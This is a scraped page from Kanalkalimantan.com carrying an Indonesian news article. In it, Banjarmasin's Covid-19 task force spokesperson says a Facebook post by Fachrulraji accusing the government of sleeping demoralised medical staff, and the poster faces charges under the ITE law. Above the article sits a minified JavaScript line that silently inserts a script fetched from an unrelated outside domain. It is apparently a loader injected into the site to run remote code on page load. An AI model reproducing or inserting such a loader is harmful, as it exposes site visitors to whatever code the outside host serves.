(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Gugus Tugas Covid-19: Postingan Facrul Bikin ‘Shock’ Petugas Medis di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Postingan Fachrulraji (37) di medsos yang mengatakan pemerintah tidur dalam menghadapi Covid-19, melukai perasaan para petugas medis yang ada di garda depan melakukan penyembuhan pasien di puskesmas dan rumah sakit. Juru Bicara Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengungkapkan, akibat dari berita hoax atau bohong yang disampaikan Fachrul, banyak petugas Covid-19 turun semangat kerjanya di lapangan.

“Teman-teman dokter perawat bidan puskesmas, yang selama ini sudah mempertaruhkan nyawanya, sudah melakukan screening dan tracking dalam upaya memutus mata rantai penularan dan tiba-tiba merasa shock saja. Hampir semua kepala puskesmas menyampaikan laporan ke saya terhadap ujaran yang ditulis sodara Fachruraji di Facebook,” ungkapnya.

Menurutnya, dengan ditemukannya orang itu tentu pihaknya kembali bersemangat. Ia pun mengimbau agar masyarakat tidak membuat berita hoaks atau bohong apalagi sampai menghasut agar memusuhi petugas covid-19. “Mari kita bahu-membahu membantu pemerintah untuk mengurangi penyebaran covid19 ini, dimana kita tau semakin hari semakin naik jadi kita harus kerjasama sebagai masyarakat bantu apa yang kita bisa buat kita perbuat, jangan malah kita menyebarkan berita bohong,” tuturnya.

Ia mengingatkan, pemerintah bekerja untuk masyarakat, maka tetaplah dirumah, tidak usah kemana-mana untuk sementara waktu dan tetap mematuhi protokol kesehatan, dan jangan lupa berdoa. “Biar kami saja bekerja gugus tugas ini dari pemerintahan semua gabungan semua stakeholder yang ada siang malam bahu membahu 24 jam demi terputusnya mata rantai covid19 ini,” pungkas Machli.

Sementara itu, atas perbuatan pelaku ia dijerat dengan pasal pelanggaran UU ITE dengan ancaman 5 tahun penjara. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

4 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

20 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

21 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

21 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

This website uses cookies.